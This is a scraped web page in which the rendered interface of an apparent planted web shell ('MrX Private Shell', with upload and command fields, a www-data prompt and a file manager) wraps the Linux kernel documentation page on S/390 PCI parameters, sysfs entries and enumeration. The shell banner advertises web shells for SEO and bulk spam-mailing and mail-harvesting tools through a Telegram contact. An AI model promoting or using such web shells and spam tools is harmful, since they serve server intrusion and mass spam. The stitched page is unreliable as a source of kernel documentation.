__  __    __   __  _____      _            _          _____ _          _ _ 
 |  \/  |   \ \ / / |  __ \    (_)          | |        / ____| |        | | |
 | \  / |_ __\ V /  | |__) | __ ___   ____ _| |_ ___  | (___ | |__   ___| | |
 | |\/| | '__|> <   |  ___/ '__| \ \ / / _` | __/ _ \  \___ \| '_ \ / _ \ | |
 | |  | | |_ / . \  | |   | |  | |\ V / (_| | ||  __/  ____) | | | |  __/ | |
 |_|  |_|_(_)_/ \_\ |_|   |_|  |_| \_/ \__,_|\__\___| |_____/|_| |_|\___V 2.1
 if you need WebShell for Seo everyday contact me on Telegram
 Telegram Address : @jackleet
        
        
For_More_Tools: Telegram: @jackleet | Bulk Smtp support mail sender | Business Mail Collector | Mail Bouncer All Mail | Bulk Office Mail Validator | Html Letter private



Upload:

Command:

www-data@216.73.216.173: ~ $
<!DOCTYPE html>

<html lang="en" data-content_root="../../">
  <head>
    <meta charset="utf-8" />
    <meta name="viewport" content="width=device-width, initial-scale=1.0" /><meta name="viewport" content="width=device-width, initial-scale=1" />

    <title>S/390 PCI &#8212; The Linux Kernel  documentation</title>
    <link rel="stylesheet" type="text/css" href="../../_static/pygments.css?v=fa44fd50" />
    <link rel="stylesheet" type="text/css" href="../../_static/alabaster.css?v=3918102e" />
    <script src="../../_static/documentation_options.js?v=5929fcd5"></script>
    <script src="../../_static/doctools.js?v=9bcbadda"></script>
    <script src="../../_static/sphinx_highlight.js?v=dc90522c"></script>
    <link rel="index" title="Index" href="../../genindex.html" />
    <link rel="search" title="Search" href="../../search.html" />
    <link rel="next" title="ibm 3270 changelog" href="text_files.html" />
    <link rel="prev" title="S/390 common I/O-Layer" href="common_io.html" />
   
  <link rel="stylesheet" href="../../_static/custom.css" type="text/css" />
  

  
  

  </head><body>
  <div class="document">
    
      <div class="sphinxsidebar" role="navigation" aria-label="Main">
        <div class="sphinxsidebarwrapper">
            <p class="logo"><a href="../../index.html">
              <img class="logo" src="../../_static/logo.svg" alt="Logo of The Linux Kernel"/>
            </a></p>
<h1 class="logo"><a href="../../index.html">The Linux Kernel</a></h1>



<p class="blurb">6.18.50</p>







<search id="searchbox" style="display: none" role="search">
  <h3 id="searchlabel">Quick search</h3>
    <div class="searchformwrapper">
    <form class="search" action="../../search.html" method="get">
      <input type="text" name="q" aria-labelledby="searchlabel" autocomplete="off" autocorrect="off" autocapitalize="off" spellcheck="false"/>
      <input type="submit" value="Go" />
    </form>
    </div>
</search>
<script>document.getElementById('searchbox').style.display = "block"</script>


<p>
<h3 class="kernel-toc-contents">Contents</h3>
<input type="checkbox" class="kernel-toc-toggle" id = "kernel-toc-toggle" checked>
<label class="kernel-toc-title" for="kernel-toc-toggle"></label>

<div class="kerneltoc" id="kerneltoc">
<ul>
<li class="toctree-l1"><a class="reference internal" href="../../process/development-process.html">Development process</a></li>
<li class="toctree-l1"><a class="reference internal" href="../../process/submitting-patches.html">Submitting patches</a></li>
<li class="toctree-l1"><a class="reference internal" href="../../process/code-of-conduct.html">Code of conduct</a></li>
<li class="toctree-l1"><a class="reference internal" href="../../maintainer/index.html">Maintainer handbook</a></li>
<li class="toctree-l1"><a class="reference internal" href="../../process/index.html">All development-process docs</a></li>
</ul>
<ul>
<li class="toctree-l1"><a class="reference internal" href="../../core-api/index.html">Core API</a></li>
<li class="toctree-l1"><a class="reference internal" href="../../driver-api/index.html">Driver APIs</a></li>
<li class="toctree-l1"><a class="reference internal" href="../../subsystem-apis.html">Subsystems</a></li>
<li class="toctree-l1"><a class="reference internal" href="../../locking/index.html">Locking</a></li>
</ul>
<ul>
<li class="toctree-l1"><a class="reference internal" href="../../process/license-rules.html">Licensing rules</a></li>
<li class="toctree-l1"><a class="reference internal" href="../../doc-guide/index.html">Writing documentation</a></li>
<li class="toctree-l1"><a class="reference internal" href="../../dev-tools/index.html">Development tools</a></li>
<li class="toctree-l1"><a class="reference internal" href="../../dev-tools/testing-overview.html">Testing guide</a></li>
<li class="toctree-l1"><a class="reference internal" href="../../kernel-hacking/index.html">Hacking guide</a></li>
<li class="toctree-l1"><a class="reference internal" href="../../trace/index.html">Tracing</a></li>
<li class="toctree-l1"><a class="reference internal" href="../../fault-injection/index.html">Fault injection</a></li>
<li class="toctree-l1"><a class="reference internal" href="../../livepatch/index.html">Livepatching</a></li>
<li class="toctree-l1"><a class="reference internal" href="../../rust/index.html">Rust</a></li>
</ul>
<ul>
<li class="toctree-l1"><a class="reference internal" href="../../admin-guide/index.html">Administration</a></li>
<li class="toctree-l1"><a class="reference internal" href="../../kbuild/index.html">Build system</a></li>
<li class="toctree-l1"><a class="reference internal" href="../../admin-guide/reporting-issues.html">Reporting issues</a></li>
<li class="toctree-l1"><a class="reference internal" href="../../tools/index.html">Userspace tools</a></li>
<li class="toctree-l1"><a class="reference internal" href="../../userspace-api/index.html">Userspace API</a></li>
</ul>
<ul>
<li class="toctree-l1"><a class="reference internal" href="../../firmware-guide/index.html">Firmware</a></li>
<li class="toctree-l1"><a class="reference internal" href="../../devicetree/index.html">Firmware and Devicetree</a></li>
</ul>
<ul class="current">
<li class="toctree-l1 current"><a class="reference internal" href="../index.html">CPU architectures</a><ul class="current">
<li class="toctree-l2"><a class="reference internal" href="../arc/index.html">ARC architecture</a></li>
<li class="toctree-l2"><a class="reference internal" href="../arm/index.html">ARM Architecture</a></li>
<li class="toctree-l2"><a class="reference internal" href="../arm64/index.html">ARM64 Architecture</a></li>
<li class="toctree-l2"><a class="reference internal" href="../loongarch/index.html">LoongArch Architecture</a></li>
<li class="toctree-l2"><a class="reference internal" href="../m68k/index.html">m68k Architecture</a></li>
<li class="toctree-l2"><a class="reference internal" href="../mips/index.html">MIPS-specific Documentation</a></li>
<li class="toctree-l2"><a class="reference internal" href="../nios2/index.html">Nios II Specific Documentation</a></li>
<li class="toctree-l2"><a class="reference internal" href="../openrisc/index.html">OpenRISC Architecture</a></li>
<li class="toctree-l2"><a class="reference internal" href="../parisc/index.html">PA-RISC Architecture</a></li>
<li class="toctree-l2"><a class="reference internal" href="../powerpc/index.html">powerpc</a></li>
<li class="toctree-l2"><a class="reference internal" href="../riscv/index.html">RISC-V architecture</a></li>
<li class="toctree-l2 current"><a class="reference internal" href="index.html">s390 Architecture</a><ul class="current">
<li class="toctree-l3"><a class="reference internal" href="cds.html">Linux for S/390 and zSeries</a></li>
<li class="toctree-l3"><a class="reference internal" href="3270.html">IBM 3270 Display System support</a></li>
<li class="toctree-l3"><a class="reference internal" href="driver-model.html">S/390 driver model interfaces</a></li>
<li class="toctree-l3"><a class="reference internal" href="mm.html">Memory Management</a></li>
<li class="toctree-l3"><a class="reference internal" href="monreader.html">Linux API for read access to z/VM Monitor Records</a></li>
<li class="toctree-l3"><a class="reference internal" href="qeth.html">IBM s390 QDIO Ethernet Driver</a></li>
<li class="toctree-l3"><a class="reference internal" href="s390dbf.html">S390 Debug Feature</a></li>
<li class="toctree-l3"><a class="reference internal" href="vfio-ap.html">Adjunct Processor (AP) facility</a></li>
<li class="toctree-l3"><a class="reference internal" href="vfio-ap-locking.html">VFIO AP Locks Overview</a></li>
<li class="toctree-l3"><a class="reference internal" href="vfio-ccw.html">vfio-ccw: the basic infrastructure</a></li>
<li class="toctree-l3"><a class="reference internal" href="zfcpdump.html">The s390 SCSI dump tool (zfcpdump)</a></li>
<li class="toctree-l3"><a class="reference internal" href="common_io.html">S/390 common I/O-Layer</a></li>
<li class="toctree-l3 current"><a class="current reference internal" href="#">S/390 PCI</a></li>
<li class="toctree-l3"><a class="reference internal" href="text_files.html">ibm 3270 changelog</a></li>
<li class="toctree-l3"><a class="reference internal" href="text_files.html#ibm-3270-config3270-sh">ibm 3270 config3270.sh</a></li>
<li class="toctree-l3"><a class="reference internal" href="features.html">Feature status on s390 architecture</a></li>
</ul>
</li>
<li class="toctree-l2"><a class="reference internal" href="../sh/index.html">SuperH Interfaces Guide</a></li>
<li class="toctree-l2"><a class="reference internal" href="../sparc/index.html">Sparc Architecture</a></li>
<li class="toctree-l2"><a class="reference internal" href="../x86/index.html">x86-specific Documentation</a></li>
<li class="toctree-l2"><a class="reference internal" href="../xtensa/index.html">Xtensa Architecture</a></li>
</ul>
</li>
</ul>
<ul>
<li class="toctree-l1"><a class="reference internal" href="../../staging/index.html">Unsorted documentation</a></li>
</ul>
<ul>
<li class="toctree-l1"><a class="reference internal" href="../../translations/index.html">Translations</a></li>
</ul>

</div>

<script type="text/javascript"> <!--
  var sbar = document.getElementsByClassName("sphinxsidebar")[0];
  let currents = document.getElementsByClassName("current")
  if (currents.length) {
    sbar.scrollTop = currents[currents.length - 1].offsetTop;
  }
  --> </script>
  <div role="note" aria-label="source link">
    <h3>This Page</h3>
    <ul class="this-page-menu">
      <li><a href="../../_sources/arch/s390/pci.rst.txt"
            rel="nofollow">Show Source</a></li>
    </ul>
   </div>
        </div>
      </div>
      <div class="documentwrapper">
        <div class="bodywrapper">
          

          <div class="body" role="main">
            
  



<section id="s-390-pci">
<h1>S/390 PCI<a class="headerlink" href="#s-390-pci" title="Link to this heading">¶</a></h1>
<dl class="simple">
<dt>Authors:</dt><dd><ul class="simple">
<li><p>Pierre Morel</p></li>
</ul>
</dd>
</dl>
<p>Copyright, IBM Corp. 2020</p>
<section id="command-line-parameters-and-debugfs-entries">
<h2>Command line parameters and debugfs entries<a class="headerlink" href="#command-line-parameters-and-debugfs-entries" title="Link to this heading">¶</a></h2>
<section id="command-line-parameters">
<h3>Command line parameters<a class="headerlink" href="#command-line-parameters" title="Link to this heading">¶</a></h3>
<ul>
<li><p>nomio</p>
<p>Do not use PCI Mapped I/O (MIO) instructions.</p>
</li>
<li><p>norid</p>
<p>Ignore the RID field and force use of one PCI domain per PCI function.</p>
</li>
</ul>
</section>
<section id="debugfs-entries">
<h3>debugfs entries<a class="headerlink" href="#debugfs-entries" title="Link to this heading">¶</a></h3>
<p>The S/390 debug feature (s390dbf) generates views to hold various debug results in sysfs directories of the form:</p>
<blockquote>
<div><ul class="simple">
<li><p>/sys/kernel/debug/s390dbf/pci_*/</p></li>
</ul>
</div></blockquote>
<p>For example:</p>
<blockquote>
<div><ul class="simple">
<li><p>/sys/kernel/debug/s390dbf/pci_msg/sprintf
Holds messages from the processing of PCI events, like machine check handling
and setting of global functionality, like UID checking.</p></li>
</ul>
<p>Change the level of logging to be more or less verbose by piping
a number between 0 and 6 to  /sys/kernel/debug/s390dbf/pci_*/level. For
details, see the documentation on the S/390 debug feature at
<a class="reference internal" href="s390dbf.html"><span class="doc">S390 Debug Feature</span></a>.</p>
</div></blockquote>
</section>
</section>
<section id="sysfs-entries">
<h2>Sysfs entries<a class="headerlink" href="#sysfs-entries" title="Link to this heading">¶</a></h2>
<p>Entries specific to zPCI functions and entries that hold zPCI information.</p>
<ul>
<li><p>/sys/bus/pci/slots/XXXXXXXX</p>
<p>The slot entries are set up using the function identifier (FID) of the
PCI function. The format depicted as XXXXXXXX above is 8 hexadecimal digits
with 0 padding and lower case hexadecimal digits.</p>
<ul class="simple">
<li><p>/sys/bus/pci/slots/XXXXXXXX/power</p></li>
</ul>
<p>A physical function that currently supports a virtual function cannot be
powered off until all virtual functions are removed with:
echo 0 &gt; /sys/bus/pci/devices/XXXX:XX:XX.X/sriov_numvf</p>
</li>
<li><p>/sys/bus/pci/devices/XXXX:XX:XX.X/</p>
<ul class="simple">
<li><p>function_id
A zPCI function identifier that uniquely identifies the function in the Z server.</p></li>
<li><p>function_handle
Low-level identifier used for a configured PCI function.
It might be useful for debugging.</p></li>
<li><p>pchid
Model-dependent location of the I/O adapter.</p></li>
<li><p>pfgid
PCI function group ID, functions that share identical functionality
use a common identifier.
A PCI group defines interrupts, IOMMU, IOTLB, and DMA specifics.</p></li>
<li><p>vfn
The virtual function number, from 1 to N for virtual functions,
0 for physical functions.</p></li>
<li><p>pft
The PCI function type</p></li>
<li><p>port
The port corresponds to the physical port the function is attached to.
It also gives an indication of the physical function a virtual function
is attached to.</p></li>
<li><p>uid
The user identifier (UID) may be defined as part of the machine
configuration or the z/VM or KVM guest configuration. If the accompanying
uid_is_unique attribute is 1 the platform guarantees that the UID is unique
within that instance and no devices with the same UID can be attached
during the lifetime of the system.</p></li>
<li><p>uid_is_unique
Indicates whether the user identifier (UID) is guaranteed to be and remain
unique within this Linux instance.</p></li>
<li><p>pfip/segmentX
The segments determine the isolation of a function.
They correspond to the physical path to the function.
The more the segments are different, the more the functions are isolated.</p></li>
</ul>
</li>
</ul>
</section>
<section id="enumeration-and-hotplug">
<h2>Enumeration and hotplug<a class="headerlink" href="#enumeration-and-hotplug" title="Link to this heading">¶</a></h2>
<p>The PCI address consists of four parts: domain, bus, device and function,
and is of this form: DDDD:BB:dd.f</p>
<ul class="simple">
<li><p>When not using multi-functions (norid is set, or the firmware does not
support multi-functions):</p>
<ul>
<li><p>There is only one function per domain.</p></li>
<li><p>The domain is set from the zPCI function’s UID as defined during the
LPAR creation.</p></li>
</ul>
</li>
<li><p>When using multi-functions (norid parameter is not set),
zPCI functions are addressed differently:</p>
<ul>
<li><p>There is still only one bus per domain.</p></li>
<li><p>There can be up to 256 functions per bus.</p></li>
<li><p>The domain part of the address of all functions for
a multi-Function device is set from the zPCI function’s UID as defined
in the LPAR creation for the function zero.</p></li>
<li><p>New functions will only be ready for use after the function zero
(the function with devfn 0) has been enumerated.</p></li>
</ul>
</li>
</ul>
</section>
</section>


          </div>
          
        </div>
      </div>
    <div class="clearer"></div>
  </div>
    <div class="footer">
      &#169;The kernel development community.
      
      |
      Powered by <a href="https://www.sphinx-doc.org/">Sphinx 8.1.3</a>
      &amp; <a href="https://alabaster.readthedocs.io">Alabaster 0.7.16</a>
      
      |
      <a href="../../_sources/arch/s390/pci.rst.txt"
          rel="nofollow">Page source</a>
    </div>

    

    
  </body>
</html>

Filemanager

Name Type Size Permission Actions
3270.html File 23.88 KB 0644
cds.html File 46.63 KB 0644
common_io.html File 16.63 KB 0644
driver-model.html File 23.86 KB 0644
features.html File 19.39 KB 0644
index.html File 12.03 KB 0644
mm.html File 15.42 KB 0644
monreader.html File 21.24 KB 0644
pci.html File 15.25 KB 0644
qeth.html File 12.7 KB 0644
s390dbf.html File 95.22 KB 0644
text_files.html File 24.01 KB 0644
vfio-ap-locking.html File 18.51 KB 0644
vfio-ap.html File 68.14 KB 0644
vfio-ccw.html File 31.28 KB 0644
zfcpdump.html File 12.91 KB 0644
Filemanager